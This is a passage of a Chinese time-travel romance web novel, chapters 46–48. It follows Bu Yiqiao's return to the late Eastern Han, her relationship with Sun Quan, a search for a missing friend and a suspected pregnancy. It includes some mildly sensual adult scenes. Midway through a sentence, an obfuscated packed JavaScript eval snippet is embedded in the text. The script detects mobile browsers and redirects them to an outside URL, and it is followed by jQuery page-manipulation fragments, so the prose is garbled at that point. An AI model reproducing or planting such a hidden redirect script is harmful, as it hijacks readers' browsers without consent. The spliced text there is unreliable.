就在此时,一道车灯破开夜色。黑色的轿车平稳地停在她面前,驾驶座的车门打开,挺拔熟悉的身影跨了出来。 昏暗的光线下,吴朔穿着白天那件深灰色大衣,径直走到她面前,脱下自己的大衣,裹住了她冰凉发抖的身体。 “抱歉,被张教授临时抓去整理一批刚入库的竹简,手机不知什么时候自动关机了。” 步一乔怔怔地看着他,想确认这不是幻觉。她突然伸手抓住他的手腕,感受到皮肤下的温热,这才长长舒出一口气。 “怎么了?害怕吗?”他察觉到她的异样,反手将她的手握在掌心 她用力摇摇头,拉开车门坐进温暖的副驾驶,将半张脸埋进他还带着体温的大衣领子里,声音闷闷地传来:“我只是担心……没,没什么。” 担心孙权在东汉是不是出了什么事,担心你为何迟迟不来,担心我是不是又对你做了什么,你会突然从我的世界里消散。 步一乔咬紧下唇,不过思忖着,就把自己弄得眼眶酸胀。 车内昏暗而静谧,他没有立即发动引擎,只是侧过头,静静地凝视着她。她微微抬眼,对上他的视线。 “一乔,我没事,是活生生的我,不必担心。” 步一乔没有回答,而是用行动代替了言语。她松开紧攥着大衣前襟的手,转而勾住他的脖颈,微微仰头,将带着凉意的唇印了上去。 一个无比坚定的吻。 他一手稳稳托住她的后颈,加深了吻。唇齿碰撞抵触着,不时走漏风声。 昏暗的车厢内,温度悄然攀升。她在他密不透风的拥抱与亲吻中微微战栗,不是害怕,而是某种过于汹涌的情感终于找到了宣泄的出口。 “我不会离开你,哪里都不去。我会永远陪着你的。” 步一乔轻轻“嗯”了一声,将发烫的脸颊埋进他肩窝。 “不要离开我……我会害怕的……” “好。” * 吴朔将车停在城郊一座僻静的私人宅院前,青瓦白墙隐在竹林深处,只露出一角飞檐。 “私人住宅?”步一乔透过车窗望去,“我们要见什么大人物?” “嗯。”吴朔熄火下车。 步一乔跟着他穿过庭院,青石板路湿漉漉的,显然刚洒过水。内室里,身着月白长衫的男人正在沏茶,动作行云流水。 四目相对的刹那,步一乔心头一跳。 莫名熟悉的感觉? “没穿一身黑,你就不认识我了?”男人放下茶壶,眼里带着戏谑。 “啊?!”步一乔猛地转头看向吴朔,又迅速看向男人,“你们……真不是同一个人吗?” 吴朔走到茶案旁坐下:“余兄擅长模仿声音,尤其是我的。”他抬手示意,“介绍一下,余慕周。” “瑜?慕周?”步一乔细细打量着眼前人,眉眼间确实有几分相似,“好名字。” “脸盲,就不要费心观察了。”余慕周直言拆穿。 “谁脸盲?”步一乔反问。 “你。明摆在眼前的两个人都分不清,不是脸盲是什么?” 他说的应该是孙权和吴朔。 步一乔不好意思地挪开视线不再看他,小声反驳:“只是偶尔好吧……特殊情况特殊分析。” 余慕周与吴朔交换了一个眼神,神色渐渐凝重。他放下茶杯,身体微微前倾:“这次请你来,是想让你帮个忙。” “什么忙?” “穿越回建安年间,救一个人。” “谁?” “小乔。” 步一乔刚喝下一口茶,差点被呛着。 “小乔出事了?!” 46. 万梦星 步一乔好不容易顺过气,瞪大了眼睛看向余慕周,又扭头瞅瞅一脸平静的吴朔,怀疑自己是不是听错了。 “等等……哪个小乔?周瑜的夫人?” “是。”余慕周情绪低沉,“我试过许多方法,都无力回天。如今……唯有拜托你。” 步一乔感觉脑子有点乱,她揉了揉太阳穴:“不是,我……你都没办法,我就可以吗?” “我身份特殊,行事多有顾忌,不便直接干预。” 步一乔沉默片刻,终于抬眼:“为救小乔,我答应你。所以她发生了什么事?” “我不知道。” “你怎么会不知道呢?你不是周——”步一乔立马住嘴,“不知道为什么找我帮忙?” “等你回到那时,自会明白。” 离开宅院已是深夜。车子驶入沉沉的黑暗,只有仪表盘泛着微光。 “你似乎有心事?”步一乔轻声问。 吴朔握紧方向盘:“我不希望你去。至少在你身体完全恢复之前,不要涉足任何危险。” 步一乔轻笑:“放心,我自有分寸。” 沉默在车厢里蔓延。过了许久,步一乔试探着开口:“如果再次穿越……我是不是不能选择孙策离世之前的时间点?” 吴朔侧目看了她一眼:“可以选,但必须是在他与大乔成婚之后。” “否则,我可能会替代大乔,扰乱原本的历史轨迹,对吗?” “嗯。” “我明白了。”步一乔望向车窗外流逝的夜色,“那就依周——余兄所言,回到建安五年的冬天吧。” * 蜷缩在被窝里,步一乔翻来覆去睡不着。心一横,蹑手蹑脚走到教授卧房门口,悄悄打开门。 里面的人似乎已经睡了。她摸黑走到床沿,掀开被子躺了进去。 身体刚沾到床褥,旁边的人便自然地转过身,将她揽入怀中。黑暗里,他睁开眼,目光落在她脸上。 “冷了?” “想问教授几个问题。” “嗯。” “如果……假设!你喜欢我,会为了我放弃一切吗?” 问题问出口,步一乔自己都觉得荒谬,却依然屏息等待着他的回答。 “一切指什么?包括你吗?” “包括吧?” “那不会。” “这样啊……”步一乔心底泛起点点失落。 就在她试图掩饰失落时,他收紧了手臂,“但如果不包括你,我愿意。” 步一乔觉得自己的心跳突然漏了一拍。那点说不清是失落还是委屈的情绪,还没来得及在心底蔓延开,就被这后半句话猛地堵了回去,转而化成一种滚烫的、让她耳根发烫的东西。 她下意识地想抬头看清他此刻的表情,却被他的手臂更紧地圈在怀里,脸颊被迫贴着他胸膛的衣料。 “……你这话是偷换概念。”步一乔小声道。 头顶传来他几不可闻的低笑,道:“我不会为了一个‘一切’的空泛概念放弃任何具体的人,尤其是你。但如果‘放弃一切’意味着要失去你,那么这个选项从一开始就不成立。” 步一乔怔住了。她没想到会得到这样的回答。 “为什么?”她忍不住追问,执拗地想得到一个更明确的答案,“教授,你为什么会……愿意?” 这次,他沉默了片刻。黑暗中,他的手指轻轻穿过她的发丝。 “因为‘一切’是虚无的,财富、声誉、地位,这些都可以重建,或者本来就不那么重要。但你是具体的,是唯一的。” 步一乔没有再说话。她只是悄悄伸出手,回抱住了他,将发烫的脸更深地埋进他的怀抱。黑暗中,她闭上眼睛,嘴角却忍不住轻轻弯了起来。 “第二个问题,假如……假如你是孙权,知晓了吴国往后几十年的历史。建安五年的命运节点,不救孙策,江东未来便按照史书走;救,江东未来会引发大乱,你选择哪一个?” 他沉默了很久,久到窗外温度又降,飘起了雪花。 “我选择不救。” 步一乔轻轻“嗯”了一声,心中所有的疑问得到了解答,落在他后背的手抚摸着。 “抱歉,问了奇怪的问题。快睡吧,夜深了。” 他埋下头,全身包裹着步一乔,不容她挣脱。 “今晚留在这儿,不要走。” “嗯,我不走。” 曾经答应过你,我会永远陪着你。 无论哪个时空,这个承诺,永远有效。 * 吴朔希望步一乔再养养身子,至少将息半个月。步一乔嘴上应承,心中却莫名萦绕着一丝焦躁。 而这份不安,在三天后得到了应验。 手机响了半节课,来电显示是甄霖的母亲。 “一乔,霖霖有没有联系过你?她……她和小曹,已经两天联系不上了!报警了,可……” 步一乔心一沉。甄霖是她从大一就形影不离的挚友,绝不是会无故失联的人。 “阿姨您别急,慢慢说。霖霖有跟您说去哪里没?” “就说去北山看日出……可那是前天傍晚的事了啊!两个人的手机都打不通,这都两天了……” “我知道了!阿姨您先别太担心,一有消息我马上联系您!” 电话挂断,步一乔怔在原地,这才发现掌心早已被冷汗浸透。她猛地转身,正好对上闻声走来的吴朔。 “甄霖和她男朋友在北山失踪了!”她急步上前,“说是去看日出,可人已经两天联系不上了。我怀疑是——” 吴朔从口袋中抽出一张纸巾塞进步一乔手中,“在这儿等我两分钟。”说着,转身进了不远处的教师办公室。 步一乔焦灼地等在门外。两分钟后,吴朔走了出来,应该是迅速将今天接下来的课程安排妥当了。他没有解释,只是自然地牵起她的手:“走。” 步一乔任由他牵着,快步穿过安静的走廊,转向通往地下停车场的楼梯。 * 车辆沿着盘山公路疾驰,最终在北山脚停下。这里并非开发成熟的景区,只有一条驴友踩出的土路蜿蜒向上。 根据甄霖母亲提供的线索,在一片相对平坦的林间空地上,一顶蓝色的帐篷孤零零地立在那里。帐篷门帘半敞着,里面空无一人。 “在那里!” 步一乔挣脱吴朔的手,快步冲了过去。帐篷内外都整理得相对整齐,没有挣扎或打斗的痕迹。睡袋叠放着,一些零食和矿泉水散落在防潮垫上。 一切看起来都像是主人只是暂时离开,片刻即回。 可他们再也没有回来。 “东西都在……绝对不是普通的迷路或意外!” 步一乔开始在四周仔细搜索,果然在后方的山坡下,找了一座隐匿在草丛间的神龛。 “神龛……也可以吧?霖霖他们不会真的……穿越了吧?!” 步一乔立马抓住吴朔的手臂。 “送我去地牢!现在,马上!我必须立刻回东汉!” 吴朔看着她苍白却异常坚定的脸,眉头紧锁:“你现在的身体状况根本经不起折腾!再次强行穿越太危险了!” “我等不了!多一分钟,甄霖他们就多一分危险!” 吴朔看着她,深知任何劝阻都是徒劳,最终沉重地叹了口气。 “但答应我,一旦感觉不舒服,立刻回来。” 步一乔没有回答,她已经转身朝着山脚下的车快步奔去。吴朔不敢耽搁,立刻跟上。 “两位是在找谁吗?” 吴朔慢了一步,路过帐篷附近时,迎面一对男女上前询问。步一乔跑得飞快,早没了人影。 “我们在这儿露营了两个晚上,有什么可以问我们。” “露营?”吴朔怔了怔,“那顶帐篷,是你们的?” “对啊。”年轻男子指了指帐篷,“昨天刚搭的。你们是来找人的?” 吴朔眼神微动,似乎明白了什么。他礼貌地道谢后,立即拨通了甄霖母亲的电话。 “甄霖妈妈好,我是甄霖的大学导师吴朔,麻烦您再看一下孩子给您发的短信,确定是去的北山吗?” 电话那头传来纸张翻动的音效,随后是一声轻呼:“哎呀!对不起老师,她给我说的是邯郸!您看我这一着急就给记错了……” “因为是考古实习工作,当地信号比较差,没能及时跟您联系。家长不必担心,学校这边会保证孩子的安全。” “给老师添麻烦了!谢谢老师!” 挂断电话后,吴朔快步走向停车处,步一乔已经坐在副驾驶座上,拳头焦躁地敲打着自己的腿。 “地牢吗?” “嗯!” 吴朔没有将与甄霖母亲的对话告诉步一乔,他深知东汉末年的邯郸是何等水深火热之地,他不想步一乔踏足。 * 【建安五年,冬】 步一乔突然后悔自己什么都没准备就匆匆忙忙赶回来,甚至……还穿着羽绒服。坐在棺椁边缓了半个时辰才精神一些,走出地牢时,只见外面白茫茫一片,积雪覆檐,寒气扑面。 “按照穿越的规律,霖霖他们是在北山的神龛附近失踪的。北山……啊!是伯符带自己去的那儿!” 当务之急是换身行头。在这个时空里,她唯一认得的人只有孙权。步一乔径直摸向他的卧房,确认四下无人后闪身而入,随手翻出几件他的衣服换上。 “太长了!知道我要回来,就不能准备一件我穿——” 柜子的角落,一个精致的包袱吸引了步一乔的注意。 入手有些分量。她解开系成结的丝绦,里面是一套叠得整整齐齐的冬衣。 “什么嘛,连我会潜伏进卧房都已经料到了吗?” 步一乔迅速脱下身上过长的男装,换上了无比合身的衣裳。布料柔软贴合,几乎是为她量身定制。 她定了定神,理清计划:必须立刻去找孙权,说明情况后,出发去寻找甄霖。 未来的孙权知道过去的事情,可过去的孙权不见得知晓未来发生的事,按照基本的理论逻辑,也该是这样。 步一乔将换下的羽绒服和孙权的衣服胡乱塞进柜子深处,悄无声息地移至门边,侧耳倾听片刻,确认外面没有动静,才轻轻拉开一条门缝,闪身而出。 然而,就在她踏出房门,沿着回廊快步离开的同时,不远处的假山后,一道纤细的身影缓缓走了出来。 “方才起我就听见偷偷摸摸的声音!嚣张的贼人,看不我告给二哥,将你抓起来!” 步一乔走后院,前去告状的身影走前院,两人不出意外地,在孙权议事的房门撞个正着。 “尚香?!你都长这么高了!” “你是谁!为何偷偷进我二哥的卧房!” 步一乔忽然想起,眼下的孙尚香不认得自己,得想办法,尽快取得她的信任。 孙权正好听见外面的动静,推门而出。他一身深色常服,立在门廊下,目光从两人身上掠过。 “何事喧哗?” 孙尚香抢先一步,指着步一乔高声道:“二哥!我亲眼看见她鬼鬼祟祟从你房里溜出来!定是偷了东西!” 步一乔心慌着,目光直直迎向孙权。 “仲——主公!我有急事,必立刻见您,所以才贸然闯入您的卧房!” 孙尚香愣住,看看她又看看孙权,满脸狐疑:“主公?你是二哥身边的……女官?二哥何时有的女官?我为何不知!她都可以,为何我不可以!” 孙权目光在步一乔脸上停留一瞬,了然道:“行事机密,故未声张。你当下任务是照顾好母亲,此乃重任。” 孙尚香将信将疑,目光在步一乔身上打量:“既是二哥属下,为何行事如贼人一般?” 步一乔顺着孙权的话头往下接:“因事关机密,主公命我暗中行事。方才入内,正是为取一份紧要文书。惊扰了大小姐,实非所愿。” 这番说辞合情合理,孙尚香虽仍蹙着眉,怒气却已消了大半。她转向孙权:“既是误会,那我先回去了。二哥晚膳见。” 待孙尚香身影消失在回廊尽头,孙权也松了口气,望向同样放下心的步一乔,浅笑着牵住她的手。 “身子好些了吗?” “果然是你!”步一乔仰起头盯 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16642285|185506||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 着他,“是你把我送到地牢外头的?” 孙权直认不讳。 “后面的事呢?比如我在千年后,和谁……发生了什么?” “谁?” 他脸上是真切的茫然。果然,此时的孙权对后世发生的种种一无所知。 “没谁,”步一乔移开视线,“试探一下,看你有没有对我说谎。” 孙权无奈地摇头,“急匆匆找我,所为何事?” “我朋友走失了!我猜她也穿越到了这里,我必须去找她。” “天下之大,如何去寻?” “她是在北山失踪的。按我们那儿的时间是两天前,也就是四十八个小时之前……一个人如果从吴郡离开,四十八天能到哪儿?” 好深奥的历史地理问题。孙权也陷入沉思。 “若步行向北,可至冀州南部,那是袁氏的地盘。向南可抵交州北部。若向西,则可穿过荆州。” “霖霖不爱走路。若是离开吴郡,多半是被人带走的。马车!马车能到哪儿?” “若走水路兼乘车马,向西逆流而上,恐怕已到益州巴郡。向北……或许能到邺城。” 两人同时沉默。眼下北方正是官渡之战,江东局势动荡。无论南北,皆非安宁之地。若甄霖他们不明就里,被当作细作…… 步一乔攥紧拳头,“得尽快找到他们,万不可耽搁!” 寒风卷着碎雪穿过廊下,步一乔拢紧身上的冬衣。她望着孙权,知道他初掌江东,内忧未平,外患不绝,每一步都如履薄冰。自己绝不能成为他的又一个麻烦。 “我先从吴郡开始行动吧,两个奇装异服的人到此,不可能没人记得。” “你一人?”孙权眉头微蹙。 步一乔正要解释,孙权却忽然叹了口气,伸手替她将一缕碎发别到耳后:“我知你心意,只是……” “只在吴郡,晚出早归,我保证。”她仰起脸,望进他那双藏着忧虑的眼眸中。 孙权终是妥协,望着步一乔,许久不见,不自觉想要靠近。心有灵犀似的,步一乔乖乖闭眼,就在两人的唇瓣距离即将消失的刹那—— “好哇!可算让我抓着啦!” 一道娇俏的身影从廊柱后猛地跳了出来,孙尚香双手叉腰,俏脸上满是得意洋洋的神色:“我就说二哥怎么频频拒绝母亲提的婚约,原来是早就心有所属啊!” 孙权瞬间僵住,步一乔也惊得后退半步背过身去,脸上飞起红霞。 孙尚香蹦跳到两人面前,好奇地打量着步一乔,“方才鬼鬼祟祟的,想尽快把我支开,原来是急着来私会我二哥啊~” 步一乔心中暗叫不妙,急中生智,正要开口解释,孙尚香却突然凑近,神秘兮兮道:“不过嘛……若你答应带我一起查案,我就替你们保守这个秘密。” 孙尚香这句话让孙权脸色一沉:“尚香,不得胡闹!” “我怎么胡闹了?”孙尚香理直气壮地指着步一乔,“她瘦筋筋的都能去,我为什么不能?二哥你偏心!再说我功夫了得,还能保护她呢!对吧嫂嫂!” 这孩子改口次次都快。 步一乔轻轻拉住孙权的衣袖,递给他一个安抚的眼神,随即转向孙尚香展颜一笑:“大小姐愿意相助,自然是再好不过。事不宜迟,我们这就出发,也不耽误主公处理公务了。” “太好啦!”孙尚香雀跃起身,不忘回头对孙权俏皮一笑,“放心吧二哥,保证把完好无损的嫂嫂,给你送回来!” * 二人从侧门出了将军府,步入吴郡城晌午的街市。 “咱们从哪儿开始查?”孙尚香故意压着嗓子,眼睛亮晶晶的,“北市我熟,有个斗鸡场和赌场。南市有比武擂台,人多线索多。还有——” 步一乔不禁失笑。这孩子熟悉的地方都颇有个性啊。 “不,我们先去北山附近的村庄问一问。” “北山?”孙尚香眨了眨眼,随即垂眸失落写在脸上,“我不想去北山。” 步一乔看着她,牵住九岁小姑娘的手,“是想起伯符了吗?” “嗯……兄长以前常带我去北山骑马。他说那里的风最自在,能吹走所有烦恼。” 孙策去世不过半年,对年幼的妹妹来说,那片山峦承载了太多回忆。 步一乔也是。 “那我们就换个地方。就去你方才说的南北边儿。” 孙尚香抬起头,倔强地眨掉了眼里的水汽:“不,就去北山。大哥说过,孙家的人不能逃避!”她反手抓住步一乔的手指,“而且我要保护嫂嫂呢,怎么能连北山都不敢去!” 两人沿着蜿蜒山路而行,先后探访了北山脚下的三个村落。然而问遍村民,得到的答案皆令人失望。 “神龛?那地方偏僻得很,平日除了祭祀,很少有人去。” “没见到什么陌生人,这大冬天的,连猎户都很少上山。” “凭空出现?小娘子说笑了,人又不是鸟,还能从天而降不成?” 孙尚香踢着路边的石子,气鼓鼓道:“问了这么久,一点线索都没有!” 步一乔凝望着暮色中的神龛方向,眉头微蹙。若甄霖真的穿越到此,为何连一点踪迹都没留下?难道她的推测从一开始就错了? 从哪里开始错的?应该是通过神龛穿越没错…… “啊!”步一乔恍然大悟,“我都不知道他俩去了什么时间线……这怎么找!” 她下意识认为甄霖会和她来到同一时间,却忘了甄霖可能出现在更早甚至更晚的时代。 孙尚香困惑地歪着头问道:“嫂嫂怎么了?” “没事……我们回去吧。” 回程的马车上步一乔陷入沉思。可否从“替代”这个角度去假设呢? 乔梅子与小乔的链接是什么?周瑜吗?甘宁和苏飞在后世是好友,出事身亡穿越后同为好友。 同理是否可证,甄霖穿越到此后,与那位姓曹的男友依旧是恋人关系? “姓曹的和姓甄的……恋人……” 步一乔眉头蹙紧,尽管冒出的结论离谱,但她还是不禁念叨出口。 “不能是曹丕和甄宓吧?!” 47. 雪暖晴岚 “咳咳……好难受……头好疼……” 屋外的暴雪还在持续,卧在床榻上的步一乔连着咳嗽了好几声。 三天前穿越至此,本就身子虚弱得难受,又急匆匆去了趟北山吹了凉风,次日,步一乔光荣生病。 江东局势日益紧张,孙权白日里抽不开身,夜里又担心得整夜守着。 “说好不给他添麻烦的,咳咳……” 紧闭的房门被推开,今天送药来的不是侍女,而是孙权。还穿着官服,兴许刚从外面回来。 氤氲着热气的瓷碗放在床头,孙权扶起步一乔,服侍她喝下苦涩的药汤。 “今日感觉如何?” “尚香有来陪我说话解闷,好转不少。” “明日若是雪停,想出去走走吗?但我担心你身子受不住,还是就在府中转转吧。” “若是雪停,约上吴夫人和尚香,我们一起去看看伯符吧。” 孙权沉默片刻。步一乔察觉到他情绪微妙,轻声问:“你只想与我单独去?” “我是担心你的身子。”他又想起上次在前院树下找到她时,命悬一线的模样。 “没事,”她故作轻松,“反正都死过一回了,不怕。” “不许乱讲话!”声音不大,但温柔的怒斥中明显有心酸与无助。 孙权抚上她日渐憔悴的脸,轻蹭她眼下的青黑。自那次之后,步一乔的身子就垮了,稍受风寒便痛苦不堪。大夫们也束手无策,只能开些温补的方子。 “你不会有事的……”他轻声说着,也似安慰自己。 看着昔日里偏执傲气还喜欢哭哭啼啼的少年,转眼变成顶天立地的江东之主,步一乔心疼地捧住孙权的脸,唇齿间的苦涩玄机交织相融。 “嗯,我不会有事的。孙权……我想收回以前的话。如果可以,我想你余生的五十年,都有我……只有我。” 不止是眼下的五十年,千年后的你,身边依旧有我。 孙权怔愣地看着她,想再次确认,想她再说一遍。 步一乔轻笑着揉捏他的脸庞。 “我说——”指尖轻点他的唇,步一乔眼底漾着狡黠的光,“接吻时不许分心。不许想别人,只许想我。这等事……也只许与我。” 想起了两人曾经吵架时孙权说的气话,要她步一乔听着他与众夫人承欢做乐的声音。 “哪等事?”他嗓音暗哑。 步一乔掀开被褥,勾住孙权的脖颈,将人带近。 “男女之事。”她轻喘着,眸光如水,“只想你与我……” 灼热的视线交织,所有未尽之言都已明晰。孙权的呼吸突然乱了,扶着她的腰倒入温软的床榻。 他吻上她锁骨,声音模糊在升温的肌肤间。 “抱歉,我好像……忍不了了。” 氤氲的热气在床帐间弥漫,步一乔的指尖描摹着孙权官服上繁复的纹路。 “这衣裳……硌得慌。”她轻声抱怨。 孙权撑起身子,深深望进她眼里,道:“忘了你尚在病中,还是好生休息吧。” 步一乔没有答话,勾住他腰带一扯,仰头含住他滚动的喉结。 “怕什么?忍不了的是你,还有……我啊。” 官袍应声散落在地,与素色中衣纠缠在一处。孙权的手掌抚上她后背,隔着单薄寝衣都能感受到那不正常的体温。 “一乔,你在发热。” “那就麻烦主公让我出些汗,让这病快些好起来。” 步一乔在朦胧中望着孙权,在史书里果于决断、善于权衡的男人,此刻正解开她衣带,慌乱得半晌才解开。 当微凉的空气触及肌肤时,她本能地瑟缩了下,往他怀中钻。温柔与坚毅碰撞,燃起燎原火,将连日来的病气与寒意都烧成灰烬。 “这次……我可以叫你的名字吧……” 孙权恍惚了一瞬她话说的“这次”,旋即明白了什么,亲吻她的眼睛。 “当然。” “仲谋……” “我在。”他吻去她眼角疼出的湿意,动作愈发缠绵,“无论前世今生,我永远都在。” 窗外风雪依旧,却仿佛隔着千山万水。步一乔在浪潮般的眩晕中忽然闪过一个念头:若这真是一场于东汉末年的大梦,她宁愿永不醒来。 * 这夜,步一乔做了个梦,久违地梦见了故人。 * 她站在北山神龛前,头顶白色的花开得茂盛,簌簌花瓣飘落,落在神龛前的酒盏中。 “伯符……” “怎么了?” 身后突然发出声音,吓了步一乔一跳。一张明媚的笑脸出现在眼前,孙策双手背在背后,狡黠地看着她。 “你……不许吓我!” “抱歉!”他伸出手,递上一朵艳丽的小花,“送给你。” 步一乔接过手,咬紧下唇,扼制酸涩。 “谢谢伯符……” 紧接着,孙策笑了起来,伸出修长的手指,用指尖轻触她额头。 “我可算明白,为何仲谋如此心悦于你了。” “孙权?” “那孩子这般深情与你,别说你一无所知。” “多少……有所察觉。” “你如何想?” “想什么?” “我可以向母亲请示,择一良辰吉日,你与仲谋成亲。” “啊?!不行不行,我不要嫁给他。” “为何?我瞧你俩挺般配啊。虽是初见,却似相识多年,一见如故。” “将军看错了吧。”步一乔藏起羞涩,“总之,我不能嫁给他。” 两个人坐在山腰处的巨石上,望着远山吹着带有一丝寒意的春风。山花漫漫,恍若隔世。 “伯符。” “嗯?” “此时是建安五年三月。若你知晓自己下个月便将遇刺身亡……会恨这人生太过短暂吗?” “当然!江东事业未成,我死不瞑目啊。”孙策长叹一声,“不过,或许命定如此。兴许江东唯有在仲谋引领之下,才能成就霸业。” 步一乔凝望着孙策的侧脸,而他始终眺望着远山。 “可我一直觉得……是你才行。”她把脸埋进膝间,“我一直觉得,登上帝位的人,该是你。才二十六年啊伯符……” 孙策轻轻笑了,伸手拭去她脸上的泪痕。 “嗯,谢谢你,一乔。也对不起……终究没有听你的劝。明明你一再提醒,我却一意孤行,赔上了性命。” 孙策的手没有收回,而是轻轻落在步一乔的发间。 “二十六载,我策马踏遍江东六郡,结交豪杰,得遇知音。人生虽短,却快意恩仇,不曾虚度。” 步一乔抬起头,泪眼朦胧中,他的笑容依旧耀眼如正午阳光。 “还有你,一乔。你让我做了一场不可思议的梦,得遇知己如你,早已不负此生” 他站起身,迎风而立,衣袂在春风中猎猎作响。 “我唯一放不下的,是母亲,是尚香,是仲谋……”他顿了顿,“仲谋性子沉静,有时过于谨慎。我走之后,这江东的重担,这家族的兴衰,都要压在他一人肩上。” 他转过身,目光灼灼地看向步一乔:“一乔,我有个不情之请。” 步一乔怔怔地望着他。 “帮我看着他。在他犹豫时推他一把,在他冲动时拦他一下。你从异世而来,知晓天命,有你在仲谋身边,我才能安心。” 山花在风中摇曳,步一乔望着哪怕明知死期将近,也心系江东的男人,哽咽得说不出话。 她终于明白,为何史书中的孙伯符,让人念念不忘。 “我答应你。” 孙策如释重负地笑了,笑容纯粹如少年。他重新坐下,从怀中取出小巧的酒囊,仰头饮了一口,然后递给步一乔。 “尝尝,上好的吴酒。就当……为我饯行。” 步一乔接过酒囊,辛辣的液体滑过喉咙。 “好辣……” 孙策大笑道:“仲谋嗜酒,一乔往后可得多盯梢 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孙权的手停顿了一下,又继续轻抚:“兄长说了什么?” “他说……要把江东和家人都托付给你。但你一个人,要我陪着你。” 孙权沉默片刻,手指轻轻梳理她哭乱的发丝。 “兄长他……总是想得太多。不过有你在身边,确实让我安心许多。” 窗外天色已经大亮,几声鸟鸣从远处传来。 “今日感觉身子如何?”他换了个话题,“若是不适,就再多休息一会。” 步一乔摆首道:“不过头有些晕,不打紧。” 孙权扶着她坐起身,为她披上外衣,仔细为她系好衣带。 “既然答应了兄长,就得好好保重自己,先把身子养好。” “嗯。” 数日后,步一乔自觉感觉恢复得差不多,不过胃口似乎差了些,总是心翻想吐。便决定请府中的老大夫再诊一次脉,好让孙权安心。 药庐内,老大夫闭目凝神,指尖搭在步一乔腕间。 起初,他面色如常。不过片刻,老大夫睁开眼,眉头不自觉地蹙起。他调整了一下手指的位置,诊得比方才更加仔细。 步一乔心头莫名一紧。 “先生,我的命……莫非不久矣?!” 老大夫没有立即回答。他收回手,沉吟片刻,方才缓缓开口:“姑娘的脉象,确实与常人不同。老夫冒昧一问,近来数月,姑娘可曾与主公同房?” “啊?” “此脉看似虚浮无力,内里却有一股奇异的生机流转……不似病症,倒像是……”他欲言又止,自顾摇头,仿佛难以确信。 步一乔心跳加快:“像什么?” 老大夫抚须沉吟,压低声音道:“恕老夫冒昧,此事关乎重大,恐怕……需禀报主公知晓。” 步一乔怔在当场,一股不安蓦然涌上。 “先生但说无妨!” 老大夫深吸气,“姑娘的脉象,与当年老夫人怀有大公子时……有几分相似。却又截然不同。其中关窍,老夫一时也难以参透啊。” * 议事厅内,孙权正与张昭、周瑜等重臣商讨春耕事宜,气氛庄重。 “孙权!” 步一乔径直闯入室内,直到看见满堂错愕的目光,才意识到自己打断了重要的议政。她扶着门框喘息,目光越过众人,望向主位上的孙权。 “抱歉,一时心急,失礼了!” 她口中道着歉,脚步却未移动,眼睛仍紧紧望着他。 孙权心知必有要事,当即向众臣微微颔首:“暂歇片刻。” 他大步走至门外,顺手将门掩上几分:“怎么了?” 步一乔环顾四周,确认近处无人,这才示意孙权俯身。 “我好像……怀孕了。” 48. 风栖琉璃 孙权整个人顿在原地。有那么一瞬,他脸上没有任何表情。 “……当真?大夫如何说?” “只是脉象异常,老大夫说……似有孕象,却又不同,他不敢断定。”步一乔看着他脸上绝非纯粹喜悦的神色,心慢慢沉了下去,“你……不高兴吗?” “你呢?”孙权反问。 步一乔避开了他的视线,低下头,“我……不知道。只觉得,她来的不是时候,还有那么多任务等着我们去完成……” 江东内外未平的局势、寻找甄霖的下落,一切都会因这个意外到来的生命而变得更加复杂。 “没有不是时候的孩子。”孙权向前一步,温热的手掌轻轻覆在她仍平坦的小腹上,“眼下我与众人正商议要事。我们的事,待我入夜回房,再细细商议,可好?” “嗯。” “不必忧心,无论决策如何,我总归是依你的。” * 夜色渐深,孙权回到房中时,步一乔正坐在榻边,望着跳动的灯烛出神。他在她身旁坐下,为她披了件外衫。 “小心着凉。” 步一乔靠上孙权的肩头,“我在想,这个孩子会改变多少事情。” 一个本不存在的生命,注定要打乱既定的轨迹,将史书引向未知的方向。 他揽住她单薄的肩,道:“那便改。” “什么?” 他的手指拂过她的发丝,道:“既然注定要改变历史,那就由我们来执笔,写一个更好的结局。” 步一乔仰头望着他,“你果然知晓吴国后面的历史了!” 孙权坦然承认:“我已去过未来,知晓结局后归来。” “归来……何意?” “地牢的棺椁。小时候贪玩,好奇便躺了进去,去到了神奇的地方。众人穿着奇怪的衣裳,说着我不大听得明白的话。目之所及,皆是新奇。” “那里是……” “嗯,是一千多年后,你生活的地方。” 孙权平静地说出颠覆步一乔认知的话。 “我去到未来,知晓了兄长之死、东吴结局。以及,另一种结局。一女子阻止了兄长遇刺一事,改写了历史。” “另一种结局如何?” 孙权沉默片刻,“……消失了。” “谁?” “东吴。还有你。” 步一乔从他肩头直起身,“消失……是何意?” “在那条被改变的时间线里,活下来的兄长变得更加激进。他拒绝了所有稳守江东的建议,执意北伐。建安七年,他孤军深入,在合肥陷入重围。江东精锐尽丧于此。曹操顺势南下,血洗建业……孙氏满门,无一幸免。” 步一乔的手不自觉攥紧,“那我……呢?” “你为了救兄长,挡下了射向他的一支弩箭。”孙权叹一息,“你倒在他怀中,兄长抱着你的尸身仰天痛哭……可一切都太迟了。” “所以……这就是你阻止我救伯符的原因?” “只有这样,才能避免那场浩劫。也只有这样,你才能活着。” 孙权握住步一乔颤抖的手,送往唇边。 “我说过,此生有两件事不会撒谎,一是对兄长的忠诚,二是对你的情意。” 步一乔望着两人交握的手,忽然想起史书记载下,孤寂一生的孙仲谋。原来他背负的,远比她想象的更加沉重。 “对不起……” 孙权将她揽入怀中,下颌轻抵她的发顶,掌心安抚她的后颈。 “该说对不起的是我。让你卷入这一切。” 步一乔抬手抚上他脊背,紧拥他的身子:“我要陪你走完此生,绝不放你一个人,永远陪着你。” * 心系小乔,步一乔寻了个由头,前往周府。 孙府与周府紧邻,出门右拐便是。 小乔之后究竟会发生什么事,让足智多谋的周公瑾都无计可施,步一乔心中总萦绕着一丝不安。 周府庭院深深。步一乔被侍女引着穿过回廊时,听见清越的琴声自水榭传来。小乔素手轻抚琴弦,阳光在她月白的裙裾上投下光斑。 不愧是夫妻俩,连衣着都这般相衬。 见到步一乔,她眼中漾起笑意,琴声戛然而止。 “一乔!” “你记得我?!” 小乔被她问得一愣,失笑道:“我为何不记得你?” 